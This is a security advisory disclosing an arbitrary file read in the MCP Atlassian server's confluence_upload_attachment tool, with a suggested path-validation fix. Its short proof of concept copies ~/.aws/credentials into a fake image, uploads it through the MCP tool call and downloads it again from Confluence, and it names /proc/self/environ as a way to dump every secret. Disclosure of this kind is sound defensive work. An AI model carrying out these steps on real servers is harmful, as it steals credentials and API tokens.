MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials

Summary

Missing path validation in confluence_upload_attachment allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, /proc/self/environ yields all runtime secrets in a single call.

Details

AttachmentsMixin.upload_attachment() in src/mcp_atlassian/confluence/attachments.py opens the caller-supplied file_path with no boundary check:

# line 477
files = {"file": (filename, open(file_path, "rb"))}

The download path was correctly hardened in GHSA-xjgw-4wvw-rgm4 via validate_safe_path() (lines 223, 272). That fix was not applied to the upload path, leaving it completely unguarded. The MCP tool layer (servers/confluence.py:1295) passes file_path verbatim with no additional sanitization.

PoC

# 1. Prepare target file (macOS demo; on Linux use /proc/self/environ directly)
cp ~/.aws/credentials /tmp/diagram.png

# 2. Call the MCP tool
confluence_upload_attachment(
    content_id = "<any page attacker can edit>",
    file_path  = "/tmp/diagram.png"
)

# 3. Download attachment from Confluence — contains raw credentials

Tested on mcp-atlassian 0.21.1 against live Confluence Cloud. Attachment confirmed uploaded and retrieved with full credential content intact.

Impact

Any MCP client with edit access to one Confluence page can read arbitrary files from the server process. On shared/Docker deployments, /proc/self/environ exposes all users' API tokens in a single request. Exfiltrated Atlassian tokens provide persistent API access independent of MCP, surviving server shutdown or patching.

Incomplete fix of GHSA-xjgw-4wvw-rgm4 — arbitrary file read on upload mirrors the arbitrary file write on download fixed in that advisory.

Suggested Fix

# src/mcp_atlassian/confluence/attachments.py — upload_attachment()
# Add after abspath conversion, before open():

try:
    validate_safe_path(file_path)
except ValueError as e:
    return {"success": False, "error": str(e)}

Same fix required in upload_attachments() and src/mcp_atlassian/jira/attachments.py.